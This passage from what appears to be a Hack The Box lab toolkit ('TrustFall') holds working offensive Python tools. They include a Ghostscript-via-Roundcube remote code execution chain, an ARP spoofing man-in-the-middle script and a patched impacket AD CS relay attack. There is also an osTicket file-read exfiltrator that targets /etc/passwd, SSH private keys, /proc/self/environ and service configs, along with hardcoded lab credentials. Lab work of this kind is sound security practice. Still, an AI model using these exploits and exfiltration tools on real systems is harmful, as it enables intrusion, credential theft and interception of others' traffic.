        for stream_name in ("error", "warning", "verbose", "debug", "information"):
            for item in getattr(powershell.streams, stream_name, []):
                print(f"[{stream_name}] {item}")
        return 1 if powershell.had_errors else 0


if __name__ == "__main__":
    raise SystemExit(main())

tools/trustfall_pipe_rce.py

#!/usr/bin/env python3
"""Direct, retryable TrustFall Ghostscript path-control to %pipe% RCE PoC."""

from __future__ import annotations

import argparse
import concurrent.futures
import os
import re
import subprocess
import sys
import threading
import time
from datetime import datetime, timezone
from pathlib import Path

import requests


WORKSPACE = Path(__file__).resolve().parents[1]
sys.path.insert(0, str(WORKSPACE / "tools"))
import trustfall_heap_rce as chain  # noqa: E402


def log(message: str) -> None:
    now = datetime.now(timezone.utc).strftime("%H:%M:%S")
    print(f"[{now}] {message}", flush=True)


def daemon_future(function, *args) -> concurrent.futures.Future:
    future: concurrent.futures.Future = concurrent.futures.Future()

    def worker() -> None:
        try:
            future.set_result(function(*args))
        except BaseException as error:
            future.set_exception(error)

    threading.Thread(target=worker, daemon=True).start()
    return future


def fresh_trigger(mail: chain.Roundcube, uid: str, token: str, timeout: int):
    fresh = requests.Session()
    fresh.trust_env = False
    for cookie in mail.session.cookies:
        options = {"path": cookie.path or "/"}
        if cookie.domain:
            options["domain"] = cookie.domain
        fresh.cookies.set(cookie.name, cookie.value, **options)
    return fresh.get(
        mail.base,
        params={
            "_task": "mail",
            "_action": "get",
            "_mbox": "INBOX",
            "_uid": uid,
            "_part": "2",
            "_thumb": "1",
            "_token": token,
        },
        headers={**mail.headers, "Connection": "close"},
        timeout=timeout,
    )


def find_gs(
    oracle: chain.FileRead,
    baseline: int,
    ceiling: int,
    expected_heap_size: int,
    output: Path,
) -> chain.GhostscriptProcess:
    first = max(1, baseline - 4, ceiling - 144)
    found: list[tuple[int, str, int]] = []
    for chunk_first in range(first, ceiling + 1, 48):
        chunk_last = min(ceiling, chunk_first + 47)
        found.extend(oracle.processes(chunk_first, chunk_last))
    candidates = sorted(
        {pid for pid, name, uid in found if name == "gs" and uid == 33},
        reverse=True,
    )
    log(f"Ghostscript candidates: {candidates}")
    for pid in candidates:
        maps = oracle.read(f"/proc/{pid}/maps")
        if not maps:
            continue
        (output / f"gs-{pid}.maps").write_bytes(maps)
        match = re.search(
            rb"^([0-9a-f]+)-([0-9a-f]+)\s+rw-p\s+\S+\s+\S+\s+\S+\s+\[heap\]$",
            maps,
            re.MULTILINE,
        )
        if not match:
            continue
        start, end = (int(match.group(index), 16) for index in (1, 2))
        log(f"PID {pid}: heap={start:#x}-{end:#x} size={end - start:#x}")
        if end - start == expected_heap_size:
            return chain.GhostscriptProcess(pid, start, end, maps)
    raise RuntimeError("no waiting www-data Ghostscript had the calibrated heap size")


def find_gs_combined(
    oracle: chain.FileRead,
    baseline: int,
    ceiling: int,
    expected_heap_size: int,
    output: Path,
) -> chain.GhostscriptProcess:
    first = max(1, baseline - 4, ceiling - 6)
    candidates = oracle.process_maps(first, ceiling)
    log(f"combined Ghostscript candidates: {[pid for pid, _maps in candidates]}")
    for pid, maps in sorted(candidates, reverse=True):
        (output / f"gs-{pid}.maps").write_bytes(maps)
        match = re.search(
            rb"^([0-9a-f]+)-([0-9a-f]+)\s+rw-p\s+\S+\s+\S+\s+\S+\s+\[heap\]$",
            maps,
            re.MULTILINE,
        )
        if not match:
            continue
        start, end = (int(match.group(index), 16) for index in (1, 2))
        log(f"PID {pid}: heap={start:#x}-{end:#x} size={end - start:#x}")
        if end - start == expected_heap_size:
            return chain.GhostscriptProcess(pid, start, end, maps)
    raise RuntimeError("combined process/maps read found no calibrated Ghostscript")


def parser() -> argparse.ArgumentParser:
    result = argparse.ArgumentParser(description=__doc__)
    result.add_argument("--ip", default="10.129.115.133")
    result.add_argument("--tag", default="-pipe0921")
    result.add_argument("--victim-delta", type=int, default=-33096)
    result.add_argument("--path-scan-offset", type=lambda value: int(value, 0), default=0x2000C)
    result.add_argument("--direct-active-offset", type=lambda value: int(value, 0), default=0x35BBC)
    result.add_argument("--expected-heap-size", type=lambda value: int(value, 0), default=0x41F000)
    result.add_argument("--mail-host", default="mailsrv.trustfall.htb")
    result.add_argument("--mail-user", default="salvador@trustfall.htb")
    result.add_argument("--mail-password", default="TrustFallHRSalvador1988!")
    result.add_argument("--ticket-host", default="ticket.trustfall.htb")
    result.add_argument("--portal-user", default="salvador@trustfall.htb")
    result.add_argument("--portal-password", default="TrustFallPortalSalvador2026!")
    result.add_argument("--roundcube-cookie", type=Path, default=Path("/tmp/rc.newtarget.cookie"))
    result.add_argument("--osticket-cookie", type=Path, default=Path("/tmp/ost.cidmap.133.cookie"))
    result.add_argument(
        "--payload-generator",
        type=Path,
        default=Path("/tmp/CVE-2026-22200/osticket_ticket_payload_gen.py"),
    )
    result.add_argument("--thumbnail-delay", type=float, default=3.0)
    result.add_argument("--gs-start-delay", type=float, default=0.5)
    result.add_argument("--verify-calibration", action="store_true")
    result.add_argument("--osticket-timeout", type=int, default=90)
    result.add_argument("--trigger-timeout", type=int, default=900)
    result.add_argument("--pointer-timeout", type=int, default=90)
    result.add_argument("--ticket-cooldown", type=float, default=2.0)
    result.add_argument("--capture-proc", action="store_true")
    result.add_argument("--output", type=Path, default=WORKSPACE / "loot" / "trustfall-pipe-rce")
    return result


def main() -> int:
    args = parser().parse_args()
    if not re.fullmatch(r"[-A-Za-z0-9._]+", args.tag):
        raise SystemExit("--tag must contain only letters, digits, dot, underscore, and dash")
    runtime = argparse.Namespace(**vars(args))
    run_id = datetime.now(timezone.utc).strftime("%Y%m%dT%H%M%SZ")
    output = args.output / run_id
    output.mkdir(parents=True, exist_ok=True)

    environment = os.environ.copy()
    environment["TRUSTFALL_POINTER_TAG"] = args.tag
    subprocess.run(
        [
            "bash",
            str(chain.BUILD),
            "liveopvpdirect",
            str(args.victim_delta),
            "0",
        ],
        cwd=WORKSPACE,
        env=environment,
        check=True,
    )
    payload = chain.PROBES / f"ghostscript-cidmap-opvp-forge-liveopvpdirect{args.tag}.eps"
    pointer1_path = f"/tmp/trustfall-opvp-pointer{args.tag}"
    pointer2_path = f"/tmp/trustfall-opvp-pointer2{args.tag}"
    forge_path = f"/tmp/trustfall-forge-index{args.tag}"
    scan_path = f"/tmp/trustfall-path-scan{args.tag}"
    marker_path = f"/tmp/trustfall-pipe-rce{args.tag}"

    oracle = chain.FileRead(runtime, output / "file-read")
    baseline_raw = oracle.read("/proc/sys/kernel/ns_last_pid")
    if not baseline_raw:
        raise RuntimeError("could not establish PID baseline")
    baseline = int(baseline_raw.strip())
    log(f"PID baseline={baseline}")

    exploit_mail = chain.Roundcube(runtime)
    uid, token = exploit_mail.send(payload, f"TrustFall direct pipe {run_id}")
    log(f"payload delivered as UID {uid}; opening a fresh blocking thumbnail connection")
    time.sleep(args.thumbnail_delay)
    render = daemon_future(fresh_trigger, exploit_mail, uid, token, args.trigger_timeout)
    time.sleep(args.gs_start_delay)

    ceiling_raw = oracle.read("/proc/sys/kernel/ns_last_pid")
    if not ceiling_raw:
        raise RuntimeError("could not establish PID ceiling")
    ceiling = int(ceiling_raw.strip())
    log(f"PID ceiling={ceiling}")
    gs = find_gs_combined(oracle, baseline, ceiling, args.expected_heap_size, output)

    if args.capture_proc:
        for proc_name in ("status", "attr/current", "limits", "cmdline"):
            try:
                data = oracle.read(f"/proc/{gs.pid}/{proc_name}")
            except Exception as error:
                log(f"could not capture /proc/{gs.pid}/{proc_name}: {error}")
                continue
            if data is not None:
                destination = output / ("proc-" + proc_name.replace("/", "-"))
                destination.write_bytes(data)
                if proc_name == "attr/current":
                    log(f"LSM profile: {data.decode(errors='replace').strip()}")
                elif proc_name == "status":
                    fields = re.findall(
                        rb"^(?:NoNewPrivs|Seccomp|Seccomp_filters):.*$", data, re.MULTILINE
                    )
                    log("process confinement: " + b"; ".join(fields).decode(errors="replace"))

    probe = chain.elf_probe_address(gs)
    writer1 = output / "pointer1.eps"
    words1 = chain.make_pointer_writer(writer1, probe, pointer1_path, "ELF pointer")
    log(f"pointer1 ELF={probe:#x} words={words1}")
    chain.Roundcube(runtime).send_and_trigger(
        writer1, f"TrustFall pointer1 {run_id}", timeout=args.pointer_timeout
    )

    if args.verify_calibration:
        calibration = None
        for _ in range(4):
            calibration = oracle.read(forge_path)
            if calibration and re.match(rb"-?\d+\s+\d+", calibration):
                break
            time.sleep(2)
        if not calibration:
            raise RuntimeError("live renderer did not publish its calibration")
        (output / "forge-index").write_bytes(calibration)
        log(f"calibration={calibration.decode(errors='replace').strip()}")
    else:
        time.sleep(0.5)
        log("pointer1 render returned; releasing pointer2 without an extra ticket read")

    scan_base = gs.heap_start + args.direct_active_offset
    writer2 = output / "pointer2.eps"
    words2 = chain.make_pointer_writer(
        writer2,
        scan_base,
        pointer2_path,
        "heap scan pointer",
        hold=False,
    )
    log(f"pointer2 scan_base={scan_base:#x} words={words2}")
    pointer2_mail = chain.Roundcube(runtime)
    pointer2_uid, pointer2_token = pointer2_mail.send(
        writer2, f"TrustFall pointer2 {run_id}"
    )
    log(
        f"pointer2 delivered as UID {pointer2_uid}; "
        "opening its writer asynchronously"
    )
    time.sleep(args.thumbnail_delay)
    pointer2_render = daemon_future(
        fresh_trigger,
        pointer2_mail,
        pointer2_uid,
        pointer2_token,
        args.trigger_timeout,
    )
    time.sleep(2)

    for check in range(1, 6):
        marker = oracle.read(marker_path)
        if marker is not None:
            (output / "rce-marker").write_bytes(marker)
            scan = oracle.read(scan_path)
            if scan is not None:
                (output / "path-scan").write_bytes(scan)
            log(f"RCE CONFIRMED: {marker.decode(errors='replace').strip()}")
            if scan is not None:
                log(f"path signature: {scan.decode(errors='replace').strip()}")
            return 0
        log(f"marker check {check}/5: absent")
        time.sleep(2)

    if render.done():
        try:
            response = render.result()
            log(f"renderer returned HTTP {response.status_code}, bytes={len(response.content)}")
        except Exception as error:
            log(f"renderer ended with {type(error).__name__}: {error}")
    scan = oracle.read(scan_path)
    log(f"path-scan diagnostic: {scan!r}")
    raise RuntimeError("remote marker was not created")


if __name__ == "__main__":
    try:
        raise SystemExit(main())
    except KeyboardInterrupt:
        log("interrupted; the remote render may still be waiting on its current stage")
        raise SystemExit(130)
    except Exception as error:
        log(f"{type(error).__name__}: {error}")
        raise SystemExit(1)

tools/arp_mitm_pair.py

#!/usr/bin/env python3
"""Targeted, reversible ARP MITM for one IPv4 peer pair."""

import argparse
import signal
import socket
import struct
import time


def mac_bytes(value):
    return bytes.fromhex(value.replace(":", ""))


def arp_reply(sock, iface_mac, claimed_ip, target_ip, target_mac, ethernet_src=None):
    src = ethernet_src or iface_mac
    ethernet = target_mac + src + struct.pack("!H", 0x0806)
    arp = struct.pack(
        "!HHBBH6s4s6s4s",
        1,
        0x0800,
        6,
        4,
        2,
        src,
        socket.inet_aton(claimed_ip),
        target_mac,
        socket.inet_aton(target_ip),
    )
    sock.send(ethernet + arp)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--iface", required=True)
    parser.add_argument("--a-ip", required=True)
    parser.add_argument("--a-mac", required=True)
    parser.add_argument("--b-ip", required=True)
    parser.add_argument("--b-mac", required=True)
    parser.add_argument("--interval", type=float, default=2.0)
    args = parser.parse_args()

    attacker = mac_bytes(open(f"/sys/class/net/{args.iface}/address").read().strip())
    a_mac = mac_bytes(args.a_mac)
    b_mac = mac_bytes(args.b_mac)
    sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
    sock.bind((args.iface, 0))
    stopping = False

    def stop(_signum, _frame):
        nonlocal stopping
        stopping = True

    signal.signal(signal.SIGINT, stop)
    signal.signal(signal.SIGTERM, stop)
    print(f"poisoning {args.a_ip} <-> {args.b_ip} via {args.iface}", flush=True)
    try:
        while not stopping:
            arp_reply(sock, attacker, args.b_ip, args.a_ip, a_mac)
            arp_reply(sock, attacker, args.a_ip, args.b_ip, b_mac)
            time.sleep(args.interval)
    finally:
        for _ in range(5):
            arp_reply(sock, attacker, args.b_ip, args.a_ip, a_mac, b_mac)
            arp_reply(sock, attacker, args.a_ip, args.b_ip, b_mac, a_mac)
            time.sleep(0.2)
        print("restored peer ARP mappings", flush=True)


if __name__ == "__main__":
    main()

tools/extract_osticket_files.py


#!/usr/bin/env python3
"""Extract osTicket filesystem-backed attachments from a mysqldump."""

from __future__ import annotations

import argparse
import binascii
import re
from collections import defaultdict
from pathlib import Path


CHUNK_RE = re.compile(rb"\((\d+),(\d+),0x([0-9A-Fa-f]+)\)")


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("dump", type=Path)
    parser.add_argument("output", type=Path)
    parser.add_argument("--ids", default="", help="comma-separated file IDs; default: all")
    args = parser.parse_args()

    wanted = {int(value) for value in args.ids.split(",") if value.strip()}
    chunks: dict[int, dict[int, bytes]] = defaultdict(dict)

    data = args.dump.read_bytes()
    for match in CHUNK_RE.finditer(data):
        file_id = int(match.group(1))
        if wanted and file_id not in wanted:
            continue
        chunk_id = int(match.group(2))
        chunks[file_id][chunk_id] = binascii.unhexlify(match.group(3))

    args.output.mkdir(parents=True, exist_ok=True)
    for file_id in sorted(chunks):
        ordered = chunks[file_id]
        expected = list(range(max(ordered) + 1))
        if sorted(ordered) != expected:
            raise SystemExit(f"file {file_id}: missing chunks; got {sorted(ordered)}")
        content = b"".join(ordered[index] for index in expected)
        suffix = ".png" if content.startswith(b"\x89PNG\r\n\x1a\n") else ".bin"
        path = args.output / f"ost_file_{file_id:02d}{suffix}"
        path.write_bytes(content)
        print(f"{file_id}\t{len(content)}\t{path}")

    return 0


if __name__ == "__main__":
    raise SystemExit(main())

tools/http_put_server.py


#!/usr/bin/env python3
"""Minimal single-directory HTTP PUT receiver for lab artifact transfer."""

import argparse
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from pathlib import Path
from urllib.parse import unquote, urlparse


class PutHandler(BaseHTTPRequestHandler):
    output_dir: Path

    def do_PUT(self) -> None:
        name = Path(unquote(urlparse(self.path).path)).name
        if not name or name in {".", ".."}:
            self.send_error(400, "A filename is required")
            return
        try:
            length = int(self.headers["Content-Length"])
        except (KeyError, TypeError, ValueError):
            self.send_error(411, "Content-Length is required")
            return
        destination = self.output_dir / name
        remaining = length
        with destination.open("wb") as stream:
            while remaining:
                chunk = self.rfile.read(min(1024 * 1024, remaining))
                if not chunk:
                    break
                stream.write(chunk)
                remaining -= len(chunk)
        if remaining:
            destination.unlink(missing_ok=True)
            self.send_error(400, "Incomplete upload")
            return
        self.send_response(201)
        self.end_headers()
        self.wfile.write(b"stored\n")

    def log_message(self, format: str, *args: object) -> None:
        print(f"{self.client_address[0]} {format % args}", flush=True)


def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("--bind", default="127.0.0.1")
    parser.add_argument("--port", type=int, default=18002)
    parser.add_argument("--output-dir", type=Path, required=True)
    args = parser.parse_args()
    args.output_dir.mkdir(parents=True, exist_ok=True)
    PutHandler.output_dir = args.output_dir.resolve()
    ThreadingHTTPServer((args.bind, args.port), PutHandler).serve_forever()


if __name__ == "__main__":
    main()

tools/impacket-patched/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py


# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright Fortra, LLC and its affiliated companies 
#
# All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
#   AD CS relay attack
#
# Authors:
#   Ex Android Dev (@ExAndroidDev)
#   Tw1sm (@Tw1sm)

import re
import base64
import os
from OpenSSL import crypto
import urllib.parse

from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.serialization import pkcs12
from cryptography.hazmat.primitives.serialization import Encoding, NoEncryption
from cryptography.x509 import ExtensionNotFound, load_pem_x509_certificate
from cryptography.x509.oid import NameOID, ObjectIdentifier
from cryptography.hazmat.backends import default_backend



from impacket import LOG

# cache already attacked clients
ELEVATED = []


class ADCSAttack:
    UPN_OID = ObjectIdentifier("1.3.6.1.4.1.311.20.2.3")

    def _run(self):
        key = crypto.PKey()
        key.generate_key(crypto.TYPE_RSA, 4096)

        if self.username in ELEVATED:
            LOG.info('Skipping user %s since attack was already performed' % self.username)
            return

        current_template = self.config.template
        if current_template is None:
            current_template = "Machine" if self.username.endswith("$") else "User"

        # Template name might be UTF-8
        original_template = current_template
        current_template = urllib.parse.quote(current_template)
        if current_template == original_template:
            LOG.info('Using template name: %s' % current_template)
        else:
            LOG.info('Using template name: %s (%s)' % (current_template, original_template))

        csr = self.generate_csr(key, self.username, self.config.altName)
        csr = csr.decode().replace("\n", "").replace("+", "%2b").replace(" ", "+")
        LOG.info("CSR generated!")

        certAttrib = self.generate_certattributes(current_template, self.config.altName)

        data = "Mode=newreq&CertRequest=%s&CertAttrib=%s&TargetStoreFlags=0&SaveCert=yes&ThumbPrint=" % (csr, certAttrib)

        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
            "Content-Type": "application/x-www-form-urlencoded",
            "Content-Length": len(data)
        }

        LOG.info("Getting certificate...")

        self.client.request("POST", "/certsrv/certfnsh.asp", body=data, headers=headers)
        ELEVATED.append(self.username)
        response = self.client.getresponse()

        if response.status != 200:
            LOG.error("Error getting certificate! Make sure you have entered valid certificate template.")
            return

        content = response.read()
        found = re.findall(r'location="certnew.cer\?ReqID=(.*?)&', content.decode())
        if len(found) == 0:
            LOG.error("Error obtaining certificate!")
            return

        certificate_id = found[0]

        self.client.request("GET", "/certsrv/certnew.cer?ReqID=" + certificate_id)
        response = self.client.getresponse()

        LOG.info("GOT CERTIFICATE! ID %s" % certificate_id)
        certificate = response.read().decode()

        cert_obj = load_pem_x509_certificate(certificate.encode(), backend=default_backend())
        pfx_filename = self._sanitize_filename(self.username or self._extract_certificate_identity(cert_obj) or "certificate_{0}".format(certificate_id))
        certificate_store = self.generate_pfx(key.to_cryptography_key(), cert_obj)
        output_path = os.path.join(self.config.lootdir, "{}.pfx".format(pfx_filename))
        LOG.info("Writing PKCS#12 certificate to %s" % output_path)
        try:
            if not os.path.isdir(self.config.lootdir):
                os.mkdir(self.config.lootdir)
            with open(output_path, 'wb') as f:
                f.write(certificate_store)
            LOG.info("Certificate successfully written to file")
        except Exception as e:
            LOG.info("Unable to write certificate to file, printing B64 of certificate to console instead")
            LOG.info("Base64-encoded PKCS#12 certificate (%s): \n%s" % (pfx_filename, base64.b64encode(certificate_store).decode()))
            pass

        if self.config.altName:
            LOG.info("This certificate can also be used for user : {}".format(self.config.altName))

    @staticmethod
    def generate_csr(key, CN, altName, csr_type = crypto.FILETYPE_PEM):
        LOG.info("Generating CSR...")
        subject = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, CN or "relay")])
        builder = x509.CertificateSigningRequestBuilder().subject_name(subject)
        if altName:
            # DER UTF8String encoding expected by Microsoft's UPN otherName.
            encoded = altName.encode()
            der_utf8 = bytes((0x0C, len(encoded))) + encoded
            builder = builder.add_extension(
                x509.SubjectAlternativeName([
                    x509.OtherName(ObjectIdentifier("1.3.6.1.4.1.311.20.2.3"), der_utf8)
                ]),
                critical=False,
            )
        req = builder.sign(key.to_cryptography_key(), hashes.SHA256())
        return req.public_bytes(Encoding.PEM)

    @staticmethod
    def generate_pfx(key, certificate):
        pfx_data = pkcs12.serialize_key_and_certificates(
            name=b"",
            key=key,
            cert=certificate,
            cas=None,
            encryption_algorithm=NoEncryption()
        )
        
        return pfx_data
    
    @staticmethod
    def generate_certattributes(template, altName):
        if altName:
            return "CertificateTemplate:{}%0d%0aSAN:upn={}".format(template, altName)
        return "CertificateTemplate:{}".format(template)

    @classmethod
    def _extract_certificate_identity(cls, cert):
        try:
            common_names = cert.subject.get_attributes_for_oid(NameOID.COMMON_NAME)
            for attribute in common_names:
                value = attribute.value.strip()
                if value:
                    return value
        except Exception:
            pass

        try:
            san_extension = cert.extensions.get_extension_for_class(x509.SubjectAlternativeName)
            san = san_extension.value
            for other_name in san.get_values_for_type(x509.OtherName):
                if other_name.type_id == cls.UPN_OID:
                    value = other_name.value
                    if isinstance(value, bytes):
                        value = value.decode('utf-8', errors='ignore')
                    value = value.strip()
                    if value:
                        return value
            for dns_name in san.get_values_for_type(x509.DNSName):
                value = dns_name.strip()
                if value:
                    return value
        except ExtensionNotFound:
            pass
        except Exception:
            pass

        return None

    @staticmethod
    def _sanitize_filename(name):
        sanitized = re.sub(r'[^A-Za-z0-9._-]', '_', name)
        sanitized = sanitized.strip("._")
        return sanitized

tools/osticket_file_exfil.py


#!/usr/bin/env python3
"""Collect known files through the osTicket 1.18.2 PDF file-read primitive."""

from __future__ import annotations

import argparse
import base64
import hashlib
import io
import json
import re
import subprocess
import sys
import zlib
from pathlib import Path

import fitz
import requests
from PIL import Image


DEFAULT_PATHS = [
    # Host identity and account policy
    "/etc/hostname",
    "/etc/hosts",
    "/etc/os-release",
    "/etc/passwd",
    "/etc/group",
    "/etc/shells",
    "/etc/nsswitch.conf",
    "/etc/resolv.conf",
    "/etc/fstab",
    "/etc/environment",
    "/etc/crontab",
    "/etc/login.defs",
    "/etc/security/pwquality.conf",
    # Network and remote access
    "/etc/ssh/sshd_config",
    "/etc/ssh/sshd_config.d/50-cloud-init.conf",
    "/etc/vsftpd.conf",
    "/etc/netplan/50-cloud-init.yaml",
    "/etc/netplan/00-installer-config.yaml",
    # Web and PHP
    "/etc/apache2/apache2.conf",
    "/etc/apache2/ports.conf",
    "/etc/apache2/envvars",
    "/etc/apache2/sites-enabled/000-default.conf",
    "/etc/apache2/sites-enabled/ticket.trustfall.htb.conf",
    "/etc/apache2/sites-enabled/mailsrv.trustfall.htb.conf",
    "/etc/php/8.3/apache2/php.ini",
    "/etc/php/8.3/cli/php.ini",
    "/var/www/osticket/upload/include/ost-config.php",
    "/var/www/mailsrv.trustfall.htb/config/config.inc.php",
    # Mail services
    "/etc/postfix/main.cf",
    "/etc/postfix/master.cf",
    "/etc/dovecot/dovecot.conf",
    "/etc/dovecot/users",
    "/etc/dovecot/passwd",
    "/etc/dovecot/conf.d/10-auth.conf",
    "/etc/dovecot/conf.d/10-mail.conf",
    "/etc/dovecot/conf.d/10-master.conf",
    "/etc/dovecot/conf.d/10-ssl.conf",
    "/etc/dovecot/conf.d/auth-sql.conf.ext",
    "/etc/dovecot/dovecot-sql.conf.ext",
    # Database configuration
    "/etc/mysql/my.cnf",
    "/etc/mysql/debian.cnf",
    "/etc/mysql/mariadb.conf.d/50-server.cnf",
    # Process and runtime discovery
    "/proc/self/cmdline",
    "/proc/self/environ",
    "/proc/self/status",
    "/proc/self/limits",
    "/proc/self/cgroup",
    "/proc/self/mountinfo",
    "/proc/net/route",
    "/proc/net/arp",
    "/proc/net/tcp",
    "/proc/net/tcp6",
    "/proc/net/udp",
    # Likely user and operational artifacts
    "/home/martin/.profile",
    "/home/martin/.bashrc",
    "/home/martin/.bash_history",
    "/home/martin/.ssh/authorized_keys",
    "/home/martin/.ssh/id_rsa",
    "/root/.ssh/authorized_keys",
    "/root/.ssh/id_rsa",
    "/var/www/.ssh/id_rsa",
    "/var/spool/cron/crontabs/root",
    "/var/spool/cron/crontabs/martin",
]


class Collector:
    def __init__(self, ip: str, host: str, cookie_jar: Path, generator: Path,
                 output: Path, batch_size: int, encoding: str):
        self.base = f"http://{ip}"
        self.host = host
        self.generator = generator
        self.output = output
        self.batch_size = batch_size
        self.encoding = encoding
        self.cookie_jar = cookie_jar
        self.session = requests.Session()
        self.session.trust_env = False
        self.cookie = self._load_cookie(cookie_jar)
        self.ticket_id: int | None = None
        self.ticket_count = 0
        self.payload_count = 0
        self.payload_hashes: set[bytes] = set()
        self.request_timeout = 180

    @staticmethod
    def _load_cookie(path: Path) -> str:
        for line in path.read_text().splitlines():
            if line.startswith("#HttpOnly_") or (line and not line.startswith("#")):
                fields = line.split("\t")
                if len(fields) >= 7 and fields[-2] == "OSTSESSID":
                    return fields[-1]
        raise RuntimeError(f"OSTSESSID not found in {path}")

    def request(self, method: str, path: str, **kwargs) -> requests.Response:
        headers = dict(kwargs.pop("headers", {}))
        headers["Host"] = self.host
        headers["Cookie"] = f"OSTSESSID={self.cookie}"
        response = self.session.request(
            method, self.base + path, headers=headers,
            timeout=kwargs.pop("timeout", self.request_timeout),
            allow_redirects=kwargs.pop("allow_redirects", False), **kwargs)
        cookies = response.raw.headers.getlist("Set-Cookie")
        for header in cookies:
            match = re.search(r"(?:^|[,;]\s*)OSTSESSID=([^;,]+)", header)
            if match:
                self.cookie = match.group(1)
        self.cookie_jar.write_text(
            "# Netscape HTTP Cookie File\n\n"
            f"#HttpOnly_.{self.host}\tTRUE\t/\tFALSE\t0\tOSTSESSID\t{self.cookie}\n"
        )
        return response

    @staticmethod
    def _csrf(html: str) -> str:
        match = re.search(r'name="__CSRFToken__" value="([^"]+)"', html)
        if not match:
            raise RuntimeError("CSRF token not found (session may have expired)")
        return match.group(1)

    def create_ticket(self) -> None:
        page = self.request("GET", "/open.php")
        if "salvador@trustfall.htb" not in page.text:
            raise RuntimeError("Salvador portal session is no longer authenticated")
        csrf = self._csrf(page.text)
        form = self.request(
            "GET", "/ajax.php/form/help-topic/1",
            headers={
                "X-Requested-With": "XMLHttpRequest",
                "X-CSRFToken": csrf,
                "Referer": f"http://{self.host}/open.php",
            },
        )
        dynamic = form.json()["html"]
        subject = re.search(r'<input[^>]+name="([^"]+)"', dynamic)
        message = re.search(r'<textarea[^>]+name="([^"]+)"', dynamic)
        if not subject or not message:
            raise RuntimeError("Dynamic ticket fields were not found")
        fields = {
            "__CSRFToken__": (None, csrf),
            "a": (None, "open"),
            "topicId": (None, "1"),
            subject.group(1): (None, f"Configuration archive {self.ticket_count + 1}"),
            message.group(1): (None, "Validating service configuration."),
        }
        created = self.request(
            "POST", "/open.php", files=fields,
            headers={"Referer": f"http://{self.host}/open.php"},
        )
        location = created.headers.get("Location", "")
        match = re.search(r"tickets\.php\?id=(\d+)", location)
        if not match:
            raise RuntimeError(f"Ticket creation failed: HTTP {created.status_code}")
        self.ticket_id = int(match.group(1))
        self.ticket_count += 1
        self.payload_count = 0
        self.payload_hashes = set()
        print(f"[+] Created ticket id={self.ticket_id}", flush=True)

    def add_path(self, path: str) -> None:
        assert self.ticket_id is not None
        page = self.request("GET", f"/tickets.php?id={self.ticket_id}")
        csrf = self._csrf(page.text)
        field = re.search(r'<textarea name="([^"]+)" id="message"', page.text)
        if not field:
            raise RuntimeError("Reply field not found")
        payload = subprocess.run(
            [sys.executable, str(self.generator), "-r", "-f", f"{path},{self.encoding}"],
            check=True, capture_output=True, text=True,
        ).stdout.strip()
        fields = {
            "__CSRFToken__": (None, csrf),
            "id": (None, str(self.ticket_id)),
            "a": (None, "reply"),
            field.group(1): (None, payload),
        }
        posted = self.request(
            "POST", f"/tickets.php?id={self.ticket_id}", files=fields,
            headers={"Referer": f"http://{self.host}/tickets.php?id={self.ticket_id}"},
        )
        if "Message Posted Successfully" not in posted.text:
            raise RuntimeError(f"Reply submission failed for {path}")

    def render(self) -> bytes:
        assert self.ticket_id is not None
        response = self.request("GET", f"/tickets.php?a=print&id={self.ticket_id}")
        if not response.content.startswith(b"%PDF"):
            raise RuntimeError(f"PDF render failed: HTTP {response.status_code}")
        return response.content

    def payloads(self, pdf: bytes) -> list[tuple[bytes, bool]]:
        results: list[tuple[bytes, bool]] = []
        document = fitz.open(stream=pdf, filetype="pdf")
        try:
            for page in document:
                for image in page.get_images(full=True):
                    try:
                        pixmap = fitz.Pixmap(document, image[0])
                        if pixmap.alpha:
                            pixmap = fitz.Pixmap(fitz.csRGB, pixmap)
                        pil_image = Image.frombytes(
                            "RGB", [pixmap.width, pixmap.height], pixmap.samples)
                        buffer = io.BytesIO()
                        pil_image.save(buffer, "BMP")
                        bitmap = buffer.getvalue()
                    except Exception:
                        continue
                    marker = b"\x1b$)C"
                    if marker not in bitmap:
                        continue
                    encoded = bitmap.partition(marker)[2].replace(b"\x00", b"").strip()
                    if self.encoding == "plain":
                        end = 0
                        for byte in encoded:
                            if byte in (9, 10, 13) or 0x20 <= byte <= 0x7e:
                                end += 1
                            else:
                                break
                        data = encoded[:end]
                        complete = len(data) < 44900
                    else:
                        decoded = bytearray()
                        for offset in range(0, len(encoded) - 3, 4):
                            try:
                                decoded.extend(base64.b64decode(
                                    encoded[offset:offset + 4], validate=True))
                            except Exception:
                                break
                        if self.encoding == "b64":
                            data = bytes(decoded)
                            complete = len(data) < 33600
                        else:
                            inflater = zlib.decompressobj(wbits=-15)
                            try:
                                data = inflater.decompress(bytes(decoded)) + inflater.flush()
                            except zlib.error:
                                data = b""
                            complete = inflater.eof
                    if data:
                        results.append((data, complete))
        finally:
            document.close()
        return results

    def save(self, remote_path: str, data: bytes, complete: bool) -> Path:
        destination = self.output / "rootfs" / remote_path.lstrip("/")
        destination.parent.mkdir(parents=True, exist_ok=True)
        destination.write_bytes(data)
        metadata = destination.with_name(destination.name + ".exfil.json")
        metadata.write_text(json.dumps({
            "remote_path": remote_path,
            "bytes": len(data),
            "complete_zlib_stream": complete,
            "ticket_id": self.ticket_id,
        }, indent=2) + "\n")
        return destination

    def collect(self, paths: list[str]) -> None:
        status_path = self.output / "status.jsonl"
        self.output.mkdir(parents=True, exist_ok=True)
        for index, path in enumerate(paths):
            if self.ticket_id is None or (index and index % self.batch_size == 0):
                self.create_ticket()
            self.add_path(path)
            try:
                pdf = self.render()
            except RuntimeError as error:
                status = {
                    "path": path,
                    "status": "render-failed",
                    "ticket_id": self.ticket_id,
                    "error": str(error),
                }
                print(f"[!] {path}: render failed; rotating ticket", flush=True)
                with status_path.open("a") as status_file:
                    status_file.write(json.dumps(status) + "\n")
                self.ticket_id = None
                continue
            found = self.payloads(pdf)
            new_payloads = [item for item in found
